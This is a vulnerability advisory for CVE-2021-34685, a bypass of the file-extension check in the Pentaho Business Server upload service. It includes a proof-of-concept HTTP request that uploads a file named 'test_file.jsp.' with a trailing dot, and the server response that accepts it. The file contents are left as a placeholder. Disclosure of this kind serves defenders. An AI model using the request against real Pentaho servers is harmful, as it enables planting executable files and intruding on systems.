Product: Pentaho Business Analytics / Pentaho Business Server Vendor / Manufacturer: Hitachi Vantara Affected Version(s): <= 9.1 Vulnerability Type: Bypass of Filename Extension Restrictions Solution Status: Fix Released on public GitHub repository Manufacturer Notification: June 2021 Public Disclosure: 01 November 2021 CVE Reference: CVE-2021-34685 Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka --- ### --- ### --- Product Description: Pentaho is business intelligence (BI) software that provides data integration, OLAP services, reporting, information dashboards, data mining and extract, transform, load (ETL) capabilities. Its headquarters are in Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and in 2017 became part of Hitachi Vantara. ( Source: https://en.wikipedia.org/wiki/Pentaho ) --- ### --- ### --- Vulnerability Details: Pentaho allows users to upload various files of different file types. The upload service is implemented under the "/pentaho/UploadService" endpoint. The file types allowed by the application are “csv, dat, txt, tar, zip, tgz, gz, gzip”. When uploading a file with an extension other than the allowed file types, the application responds with the error message of "UploadFileServlet.ERROR_0011 - File type not allowed. Allowable types are csv,dat,txt,tar,zip,tgz,gz,gzip". However, the file extension check can be bypassed by including a single dot "." at the end of the filename. --- ### --- ### --- Proof of Concept (PoC): See Ginger ( https://github.com/HawSec/ginger ) or --- ~~~ --- ~~~ --- POST /pentaho/UploadService?file_name=test_file.jsp.&mark_temporary=false&unzip=false HTTP/1.1 Host: localhost:8080 Content-Length: 194 Cookie: session-flushed=true; JSESSIONID=A0D2E6A3857C5B7EEF763821513174E9; client-time-offset=32; JSESSIONID=2D525AE6A712A91E6CA1CBE50177559C; session-expiry=1617569433767; server-time=1617562233767 Connection: close ------WebKitFormBoundary1k7sJ9yjEbfj39Fl Content-Disposition: form-data; name="uploadFormElement"; filename="test_file.txt" Content-Type: text/plain [...] FILE_CONTENTS [...] ------WebKitFormBoundary1k7sJ9yjEbfj39Fl-- HTTP/1.1 200 Set-Cookie: session-expiry=1617572215172; Path=/ Set-Cookie: server-time=1617565015172; Path=/ Content-Type: text/plain;charset=ISO-8859-1 Content-Length: 6 Date: Sun, 04 Apr 2021 19:36:55 GMT Connection: close test_file.jsp. --- ~~~ --- ~~~ --- --- ### --- ### --- Credits: This vulnerability was discovered by Alberto Favero & Altion Malka --- ### --- ### --- -- BlackHawk - hawkgotyou@gmail.com Experientia senum, agilitas iuvenum. Adversa fortiter. Dubia prudenter.